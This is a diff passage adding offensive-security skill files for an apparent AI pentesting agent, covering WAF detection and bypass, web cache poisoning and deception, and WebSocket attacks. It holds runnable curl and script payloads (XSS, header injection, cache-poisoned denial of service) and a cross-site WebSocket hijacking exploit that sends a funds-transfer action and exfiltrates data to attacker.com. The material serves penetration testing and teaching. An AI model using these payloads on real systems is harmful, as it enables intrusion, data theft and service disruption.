  284. package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
  285. package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
  286. package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
  287. package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
  288. package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
  289. package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
  290. package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
  291. package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
  292. package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
  293. package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
  294. package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
  295. package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
  296. package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
  297. package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
  298. package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
  299. package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
  300. package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
  301. package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
  302. package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
  303. package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
  304. package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
  305. package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
  306. package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
  307. package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
  308. package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
  309. package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
  310. package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
  311. package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
  312. package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
  313. package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
  314. package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
  315. package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
  316. package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
  317. package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
  318. package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
  319. package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
  320. package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  322. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
  323. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  324. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  325. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  326. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  327. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  328. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  329. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  346. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  347. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  348. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  349. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  350. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  351. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  352. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  353. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  354. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  355. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  356. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  357. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  358. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  359. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  360. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  361. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  362. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  363. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  364. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  365. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  366. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  367. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  368. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  369. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  370. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  371. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  372. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  373. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  374. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  375. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  376. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  377. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
  378. package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
  379. package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
  380. package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
  381. package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
  382. package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
  383. package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
  384. package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
  385. package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
  386. package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
@@ -0,0 +1,90 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # WAF Detection and Bypass
4
+
5
+ ## Overview
6
+ Before running any exploitation attempts, you MUST detect if a WAF (Web Application Firewall) is present. Failing to do so can lead to:
7
+ - IP blocking/banning
8
+ - False negatives (legitimate vulnerabilities missed)
9
+ - Rate limiting that stalls your testing
10
+
11
+ ## Detection Tools
12
+
13
+ ### 1. wafw00f (Primary)
14
+ ```bash
15
+ wafw00f https://target.com
16
+ ```
17
+
18
+ ### 2. WhatWaf
19
+ ```bash
20
+ whatwaf -u https://target.com
21
+ ```
22
+
23
+ ### 3. Manual Detection
24
+ Check for WAF indicators in response headers:
25
+ - `Server:`
26
+ - `X-Cdn:`
27
+ - `X-Sucuri-ID:`
28
+ - `X-Debug:`
29
+
30
+ Check response body for WAF block pages:
31
+ - "403 Forbidden"
32
+ - "Access Denied"
33
+ - "Security Check"
34
+ - "Attack Detected"
35
+
36
+ ## Common WAF Signatures
37
+
38
+ | WAF | Detection Fingerprint |
39
+ |-----|----------------------|
40
+ | Cloudflare | `__cfduid`, `cf-ray`, server: `cloudflare` |
41
+ | AWS WAF | `X-Amzn-Trace-Id`, `aws-waf` |
42
+ | Azure WAF | `server: Microsoft-IIS` with `az` headers |
43
+ | Akamai | `AkamaiGHost`, `akamai-origin-hop` |
44
+ | Imperva | `X-CDN`, `X-Iinfo` |
45
+ | Sucuri | `X-Sucuri-ID`, `X-Sucuri-Block` |
46
+ | ModSecurity | `server: ModSecurity` |
47
+ | F5 ASM | `X-Correlation-ID`, `TS` cookie |
48
+
49
+ ## Bypass Techniques
50
+
51
+ ### HTTP Parameter Pollution
52
+ ```
53
+ ?id=1&id=2
54
+ ```
55
+
56
+ ### Case Variation
57
+ ```
58
+ /Admin login
59
+ /admin Login
60
+ ```
61
+
62
+ ### Encoding
63
+ - URL encode special characters
64
+ - Double URL encode
65
+ - Unicode variations
66
+
67
+ ### Protocol Switching
68
+ - HTTP/1.0 instead of 1.1
69
+ - Use Host header variations
70
+
71
+ ### Timing Attacks
72
+ - Add delays between requests
73
+ - Slowloris to bypass rate limits
74
+
75
+ ## Workflow
76
+
77
+ 1. **RECON PHASE**: Run wafw00f before exploitation
78
+ 2. **IF WAF DETECTED**:
79
+ - Note the WAF type
80
+ - Select appropriate bypass payloads
81
+ - Implement delays between requests
82
+ - Consider using different IP/source
83
+ 3. **DOCUMENT**: Save WAF results to output/waf_detection.txt
84
+
85
+ ## Important Notes
86
+
87
+ - NEVER spam requests - you'll get blocked
88
+ - Use `httpx` or `curl` first to check response
89
+ - Some WAFs only block on specific attack patterns
90
+ - Cloudflare requires special handling (may need to bypass JS challenge)
@@ -0,0 +1,233 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: web-cache-poisoning
5
+ description: Web cache poisoning and cache deception attacks covering unkeyed headers, fat GET, parameter cloaking, CPDoS, and path normalization
6
+ ---
7
+
8
+ # Web Cache Poisoning & Cache Deception
9
+
10
+ Cache attacks work by making the cache store and serve a malicious response to other users, or by tricking the cache into serving another user's private data to the attacker. Impact: stored XSS across the entire application, account takeover, DoS.
11
+
12
+ ---
13
+
14
+ ## Core Concepts
15
+
16
+ Cache Key = combination of request parameters the cache uses to identify a unique response.
17
+ Attack: inject something INTO the response via an unkeyed input → cache serves that poisoned response to everyone.
18
+
19
+ Two attack families:
20
+ - Cache Poisoning: poison the cache with your malicious input → victim receives it
21
+ - Cache Deception: trick the cache into storing a victim's private response → attacker reads it
22
+
23
+ ---
24
+
25
+ ## Reconnaissance
26
+
27
+ ### Identify Caching Behavior
28
+
29
+ # Look for cache indicators in response headers
30
+ curl -sI https://target.com/ | grep -iE "cache|x-cache|cf-cache|age|cdn|varnish|surrogate"
31
+
32
+ # Send same request twice — if Age: increases or X-Cache: HIT, it's cached
33
+ curl -sI https://target.com/ | grep -i "x-cache\|age\|cf-cache"
34
+
35
+ # Cache-busting: add unique param to get fresh response
36
+ curl -sI "https://target.com/?cb=$(date +%s)"
37
+
38
+ ### Discover Unkeyed Inputs
39
+
40
+ # Automated: param-miner equivalent via web_search for "param miner burp extension"
41
+ # Manual: test common unkeyed headers
42
+
43
+ for header in "X-Forwarded-Host" "X-Host" "X-Forwarded-Server" "X-HTTP-Host-Override" \
44
+ "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-For" "X-Real-IP" \
45
+ "X-Original-Host" "Forwarded" "X-Forwarded-Proto"; do
46
+ response=$(curl -sI "https://target.com/?cb=$(date +%s)" -H "$header: evil.com")
47
+ if echo "$response" | grep -q "evil.com"; then
48
+ echo "REFLECTED: $header"
49
+ fi
50
+ done
51
+
52
+ ---
53
+
54
+ ## Cache Poisoning Attacks
55
+
56
+ ### X-Forwarded-Host Injection
57
+
58
+ Most common. Server uses this header to generate absolute URLs (password reset links, JS URLs):
59
+
60
+ # Test reflection
61
+ curl -s "https://target.com/?cb=1" -H "X-Forwarded-Host: evil.com" | grep "evil.com"
62
+
63
+ # If reflected in script src or link href:
64
+ # Poison: serve malicious JS from evil.com
65
+ curl -s "https://target.com/" -H "X-Forwarded-Host: evil.com"
66
+
67
+ # Impact: all cached pages serve JS from evil.com → XSS for every visitor
68
+
69
+ ### X-Forwarded-For / X-Real-IP Injection
70
+
71
+ Some apps render IP in response for analytics or debug:
72
+
73
+ curl -s "https://target.com/" -H "X-Forwarded-For: \"><script>alert(1)</script>"
74
+
75
+ ### Unkeyed Query Parameters
76
+
77
+ # Find params excluded from cache key
78
+ # Try: utm_*, _ga, fbclid, ref, source — often stripped from cache key but reflected in response
79
+
80
+ curl -s "https://target.com/?utm_content=<script>alert(1)</script>" | grep "script"
81
+
82
+ # If reflected, poison with unique CB param that's keyed:
83
+ curl -s "https://target.com/?utm_content=<script>alert(1)</script>&normalcb=unique"
84
+
85
+ ### Fat GET Request
86
+
87
+ Some caches key on URL only but backend parses body of GET request:
88
+
89
+ curl -s -X GET "https://target.com/" \
90
+ -H "Content-Type: application/x-www-form-urlencoded" \
91
+ -d "param=<script>alert(1)</script>"
92
+
93
+ ### Cache Key Injection (Header Splitting)
94
+
95
+ # Inject cache key separator to create a new cache entry
96
+ curl -s "https://target.com/" -H "X-Forwarded-Host: evil.com\r\nX-Cache-Key: injected"
97
+
98
+ ### Parameter Cloaking
99
+
100
+ Discrepancy between how the CDN and origin parse query strings:
101
+
102
+ # CDN sees: ?search=clean&param=value
103
+ # Origin (Node/Ruby/PHP) sees last duplicate: ?param=evil
104
+ curl -s "https://target.com/?search=clean;param=evil" | grep "evil"
105
+ curl -s "https://target.com/?search=clean%26param=evil" | grep "evil"
106
+
107
+ ---
108
+
109
+ ## Cache Deception
110
+
111
+ Trick the cache into storing the victim's authenticated response so the attacker can read it.
112
+
113
+ ### Path Confusion
114
+
115
+ Cache caches based on file extension (.css, .js, .png) regardless of actual content:
116
+
117
+ # Visit: /account/settings.css
118
+ # Cache stores it thinking it's CSS
119
+ # Attacker reads: /account/settings.css → gets victim's account page
120
+
121
+ # Test: append static-looking suffix after authenticated path
122
+ for suffix in ".css" ".js" ".png" ".ico" ".woff" "/null.js" "/index.css"; do
123
+ code=$(curl -sk -o /dev/null -w "%{http_code}" "https://target.com/api/user$suffix" \
124
+ -H "Authorization: Bearer <token>")
125
+ cached=$(curl -sI "https://target.com/api/user$suffix" | grep -i "x-cache\|age" | head -1)
126
+ echo "$suffix → HTTP $code | $cached"
127
+ done
128
+
129
+ ### Cache Rules Misalignment
130
+
131
+ # If /static/* is cached but server serves JSON for /static/../api/user
132
+ curl -s "https://target.com/static/../api/user" -H "Authorization: Bearer <victim_token>"
133
+ # Then attacker reads cached response without token
134
+
135
+ ### Normalized Path Confusion
136
+
137
+ # Server normalizes: /account/..%2Fstatic%2Fstyle.css → /static/style.css
138
+ # Cache caches based on raw URL → stores as /account/..%2Fstatic%2Fstyle.css
139
+ # Victim's authenticated version gets cached under that key
140
+
141
+ ---
142
+
143
+ ## CPDoS (Cache Poisoned Denial of Service)
144
+
145
+ Poison cache with error responses to deny service to all users:
146
+
147
+ # HHO — HTTP Header Oversize
148
+ # Send request with very long header → 400 error cached by CDN
149
+ curl -s "https://target.com/" -H "X-Crash: $(python3 -c "print('A'*8192)")"
150
+
151
+ # HMC — HTTP Meta Characters
152
+ curl -s "https://target.com/" -H $'X-Meta: test\r\nContent-Length: 0'
153
+
154
+ # SCP — Site Cache Poisoning via method
155
+ curl -s -X DELETE "https://target.com/" | head -5
156
+ # If 405 is cached → DoS
157
+
158
+ ---
159
+
160
+ ## Detecting Cache Scope
161
+
162
+ # Determine what varies the cache key
163
+ # Same URL, different Accept-Language → different response? → Language in key
164
+ curl -sI "https://target.com/?cb=test1" -H "Accept-Language: fr"
165
+ curl -sI "https://target.com/?cb=test1" -H "Accept-Language: en"
166
+
167
+ # Cookie in key?
168
+ curl -sI "https://target.com/" -H "Cookie: session=abc123"
169
+
170
+ # User-Agent in key?
171
+ curl -sI "https://target.com/" -H "User-Agent: Mozilla/5.0"
172
+ curl -sI "https://target.com/" -H "User-Agent: Googlebot"
173
+
174
+ ---
175
+
176
+ ## Automation
177
+
178
+ # nuclei cache poisoning templates
179
+ nuclei -u https://target.com -t /home/pentester/nuclei-templates/vulnerabilities/other/ \
180
+ -tags cache -o output/cache_nuclei.txt
181
+
182
+ # toxicache — dedicated cache poisoning tool
183
+ toxicache -u https://target.com
184
+
185
+ # Custom header fuzzer for unkeyed inputs
186
+ python3 tools/cache_header_fuzz.py https://target.com
187
+
188
+ Example script (`tools/cache_header_fuzz.py`):
189
+
190
+ #!/usr/bin/env python3
191
+ import requests, sys
192
+ TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
193
+ HEADERS_TO_TEST = [
194
+ "X-Forwarded-Host", "X-Host", "X-Forwarded-Server",
195
+ "X-Original-URL", "X-Rewrite-URL", "Forwarded",
196
+ "X-Forwarded-For", "X-Real-IP", "X-Custom-IP-Authorization",
197
+ "X-Original-Host", "X-HTTP-Host-Override", "X-Forwarded-Proto",
198
+ ]
199
+ CANARY = "evil.example.com"
200
+ results = []
201
+ for h in HEADERS_TO_TEST:
202
+ import time; cb = str(int(time.time()*1000))
203
+ r = requests.get(f"{TARGET}?cb={cb}", headers={h: CANARY}, timeout=10)
204
+ reflected = CANARY in r.text
205
+ results.append(f"{'REFLECTED' if reflected else 'not reflected'} | {h}")
206
+ print(results[-1])
207
+ with open("output/cache_fuzz.txt","w") as f:
208
+ f.write("\n".join(results))
209
+
210
+ ---
211
+
212
+ ## Validation
213
+
214
+ 1. Confirm cache stores your poisoned response: make poisoning request, then fetch WITHOUT the injection header — does the canary appear?
215
+ 2. Test from a different IP/session to confirm it's served to other users
216
+ 3. For Cache Deception: log in as victim, visit deception URL, log out, access same URL unauthenticated — does victim data appear?
217
+ 4. Demonstrate impact: XSS execution, credential/token exposure, or service disruption
218
+
219
+ ---
220
+
221
+ ## Pro Tips
222
+
223
+ 1. Always use a cache-buster param when testing to avoid poisoning production by accident
224
+ 2. X-Forwarded-Host is reflected in ~30% of CDN-backed apps — test it first
225
+ 3. Unkeyed parameters: UTM params (utm_source, utm_campaign) are almost universally unkeyed
226
+ 4. Check password reset flows — if reset URL uses X-Forwarded-Host, cache poison → steal reset links
227
+ 5. Cache deception on `/profile.css` is an instant account takeover if session data is returned
228
+ 6. CPDoS with HHO (oversized header) is the easiest to test and often overlooked by defenders
229
+ 7. After finding an unkeyed header, check what it controls: JS URLs, redirect targets, or meta refresh → highest impact
230
+
231
+ ## Summary
232
+
233
+ Cache poisoning = find unkeyed input → confirm it's reflected → make cacheable → observe cache serving it to others. Cache deception = append static extension to private endpoint → visit as victim → read from cache as attacker. Both require proof via second-user fetch to confirm real impact.
@@ -0,0 +1,180 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: websocket
5
+ description: Exploitation techniques for WebSockets including CSWSH, Smuggling, Auth bypass, and Injection attacks.
6
+ ---
7
+
8
+ # WebSocket Vulnerabilities
9
+
10
+ WebSockets provide full-duplex communication channels over a single TCP connection. Because they differ significantly from standard HTTP request-response patterns, they often bypass traditional security controls (like WAFs) and suffer from unique implementation flaws ranging from Cross-Site WebSocket Hijacking (CSWSH) to complex smuggling and injection attacks.
11
+
12
+ ## Core Concepts & The Handshake
13
+
14
+ A WebSocket connection begins with an HTTP/1.1 Upgrade request.
15
+
16
+ ```http
17
+ GET /chat HTTP/1.1
18
+ Host: target.com
19
+ Upgrade: websocket
20
+ Connection: Upgrade
21
+ Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
22
+ Sec-WebSocket-Version: 13
23
+ Origin: https://target.com
24
+ ```
25
+
26
+ If successful, the server responds with a `101 Switching Protocols`:
27
+
28
+ ```http
29
+ HTTP/1.1 101 Switching Protocols
30
+ Upgrade: websocket
31
+ Connection: Upgrade
32
+ Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
33
+ ```
34
+
35
+ Once established, data is transmitted in binary or text frames. Both directions can send data independently.
36
+
37
+ ---
38
+
39
+ ## 1. Cross-Site WebSocket Hijacking (CSWSH)
40
+
41
+ CSWSH is the WebSocket equivalent of CSRF. If the WebSocket handshake relies *solely* on surrounding HTTP context (like ambient Cookies or HTTP Basic Auth) for authentication and does not validate the `Origin` header or use anti-CSRF tokens, an attacker can initiate a WebSocket connection from their own domain on behalf of the victim.
42
+
43
+ **Mechanism:**
44
+ 1. Victim logs into `target.com` (session cookie is set).
45
+ 2. Victim visits `attacker.com`.
46
+ 3. `attacker.com` executes JavaScript to open a WebSocket to `wss://target.com/ws`.
47
+ 4. The browser automatically attaches the victim's session cookies to the handshake.
48
+ 5. If `target.com` doesn't validate the `Origin: https://attacker.com` header or require a token in the initial message/URL, the connection succeeds.
49
+ 6. The attacker can now send and receive frames as the victim.
50
+
51
+ **Exploitation (Attacker's Server):**
52
+ ```html
53
+ <script>
54
+ // Open WebSocket to the vulnerable target
55
+ var ws = new WebSocket('wss://target.com/ws');
56
+
57
+ ws.onopen = function() {
58
+ console.log('CSWSH Successful!');
59
+ // Send malicious action
60
+ ws.send(JSON.stringify({action: 'transfer_funds', amount: 10000, to: 'attacker'}));
61
+ };
62
+
63
+ ws.onmessage = function(event) {
64
+ // Exfiltrate received data (e.g., chat history, API keys) back to attacker
65
+ fetch('https://attacker.com/exfil?data=' + btoa(event.data));
66
+ };
67
+ </script>
68
+ ```
69
+
70
+ **Bypassing Weak Origin Checks:**
71
+ - Null Origin: Send from an iframe with a `data:` URI to send `Origin: null`.
72
+ - Subdomain Match: If checking `.target.com`, bypass with `attacker-target.com`.
73
+ - Trailing Slashes/Ports test.
74
+
75
+ ---
76
+
77
+ ## 2. Authorization and Authentication Bypass
78
+
79
+ A common misconception is that the initial HTTP handshake secures the *entire lifecycle* of the WebSocket connection.
80
+
81
+ **Vulnerability Patterns:**
82
+ 1. **Per-Message Missing Authorization:** The handshake validates the session, but individual frames requesting privileged actions (e.g., `{"type": "delete_user", "id": 5}`) do not check if the user is an admin.
83
+ 2. **Channel Subscription Bypass:** WebSockets often use "channels" (e.g., GraphQL subscriptions, ActionCable). If a user sends a poorly validated `{"subscribe": "admin_channel"}`, they might receive broadcasted admin data without authorization checks.
84
+ 3. **Session Expiration Ignored:** If the HTTP session expires or the user logs out, the existing long-lived WebSocket connection often remains active.
85
+
86
+ **Testing:**
87
+ - Intercept the WebSocket frame using Burp Suite or custom scripts.
88
+ - Modify identifiers, user IDs, or role fields in the JSON payload.
89
+ - Attempt to subscribe to hidden, administrative, or other user's channels (e.g., `{"channel": "user_1337_private"}`).
90
+
91
+ ---
92
+
93
+ ## 3. WebSocket Smuggling and Desync Attacks
94
+
95
+ WebSockets can interact disastrously with reverse proxies and load balancers. If the frontend proxy and backend server disagree on whether a connection was successfully upgraded, smuggling occurs.
96
+
97
+ **Attack Vector (Varnish / Nginx Misconfigurations):**
98
+ If a reverse proxy blindly routes the `Upgrade: websocket` header but the backend server rejects it (or doesn't support WebSockets), the frontend might still treat the TCP connection as a raw TCP tunnel, while the backend treats it as an HTTP connection waiting for the next request (HTTP Keep-Alive).
99
+
100
+ **Exploitation:**
101
+ 1. Attacker sends an HTTP request claiming to Upgrade to WebSocket.
102
+ 2. Inside the "WebSocket" body (which is actually sent as cleartext, as the backend didn't upgrade), the attacker smuggles a secondary HTTP request.
103
+ 3. The backend processes the smuggled request. Since the frontend thinks it's a WebSocket tunnel, the attacker can receive the HTTP response directly or poison another user's request.
104
+
105
+ ---
106
+
107
+ ## 4. Injection Attacks via WebSockets (SQLi, XSS, OS Command)
108
+
109
+ Because WebSocket frames don't pass through standard HTTP WAFs (which often only inspect HTTP headers, query parameters, and standard POST bodies), they are a prime vector for bypassing perimeter security to deliver injection payloads directly to the application logic.
110
+
111
+ **Testing:**
112
+ WebSockets often carry JSON, XML, or custom binary structures.
113
+ - **SQL Injection:** If a frame contains `{"user_id": 12}`, alter it to `{"user_id": "12 OR 1=1"}`. Assess the returned frames for DB errors or changed logic.
114
+ - **Blind XSS/Stored XSS:** Chat applications often echo WebSocket input to other connected clients. Injecting `<svg/onload=alert(1)>` via a WebSocket frame will execute on the victim's browser when broadcasted.
115
+ - **OS Command Injection:** E.g., `{"command": "ping", "target": "8.8.8.8; id"}`.
116
+ - **NoSQL Injection:** E.g., `{"query": {"$ne": null}}`.
117
+
118
+ ---
119
+
120
+ ## 5. Denial of Service (DoS)
121
+
122
+ WebSocket connections map 1:1 to process threads or file descriptors in many server implementations.
123
+
124
+ - **Connection Exhaustion (Slowloris over WS):** Opening thousands of connections and sending a frame every 5 minutes keeps the connections alive, exhausting server resources.
125
+ - **Payload Size Exploitation:** Sending massive frames (e.g., 50MB of garbage data). If the server attempts to parse or allocate memory for the entire payload before processing, it will crash (OOM).
126
+ - **Asymmetric processing:** Sending a very small WebSocket frame that triggers a computationally expensive backend database query or API call, then dropping the connection and repeating.
127
+
128
+ ---
129
+
130
+ ## 6. Race Conditions over WebSockets
131
+
132
+ Because WebSockets are asynchronous and full-duplex, multiple frames can be sent in rapid succession before the server has time to lock resources or update state (e.g., deducting an account balance).
133
+
134
+ **Exploitation (Turbo Intruder / Scripting):**
135
+ Launch multiple identical frames over the *same* WebSocket connection, or across multiple simultaneous connections, to exploit Time-of-Check to Time-of-Use (TOCTOU) flaws.
136
+
137
+ ```javascript
138
+ // Send 20 discount usage requests in 1 millisecond
139
+ let ws = new WebSocket("wss://target.com/ecommerce");
140
+ ws.onopen = function() {
141
+ for(let i=0; i<20; i++){
142
+ ws.send(JSON.stringify({"action":"apply_discount", "code":"SUMMER50"}));
143
+ }
144
+ }
145
+ ```
146
+
147
+ ---
148
+
149
+ ## 7. WebSockets over HTTP/2 (RFC 8441)
150
+
151
+ HTTP/2 multiplexes multiple streams over a single TCP connection. RFC 8441 allows WebSockets to operate over HTTP/2 streams (`CONNECT` method with `:protocol: websocket` pseudo-header).
152
+ - **Desync via H2:** If a backend downgrades HTTP/2 to HTTP/1.1 poorly, injecting frame boundaries into the HTTP/2 stream can result in HTTP/1.1 request smuggling.
153
+
154
+ ## Testing Methodology
155
+
156
+ 1. **Discovery:** Look for `ws://` or `wss://` in JS files, or filter Burp/ZAP history for `101 Switching Protocols`.
157
+ 2. **CSWSH Check:** Replay the initial HTTP handshake request with a modified or missing `Origin` header. If the server responds with a `101`, test if you can successfully send/receive data.
158
+ 3. **WAF Bypass Validation:** Send standard SQLi/XSS payloads over HTTP. If blocked, send the exact same payloads via the WebSocket channel.
159
+ 4. **Fuzzing Frames:** Use tools like `wscat` or Burp's WebSocket message interception to fuzz JSON keys, values, and frame sizes.
160
+ 5. **Authorization Matrix:** Open two connections with different privilege levels. Attempt to send privileged structure templates from the lower-privileged connection.
161
+
162
+ ## Detection Tools
163
+
164
+ ```bash
165
+ # wscat - CLI wrapper for interacting with WebSockets natively
166
+ wscat -c wss://target.com/ws -H "Origin: https://attacker.com"
167
+
168
+ # SQLMap - Can be tunneled through a WebSocket proxy
169
+ # Requires an intermediate script that accepts HTTP from sqlmap and translates to WS frames.
170
+
171
+ # Stealify/websocket-smuggle
172
+ # Testing reverse proxies for WS upgrade misconfigurations
173
+ ```
174
+
175
+ ## Pro Tips
176
+
177
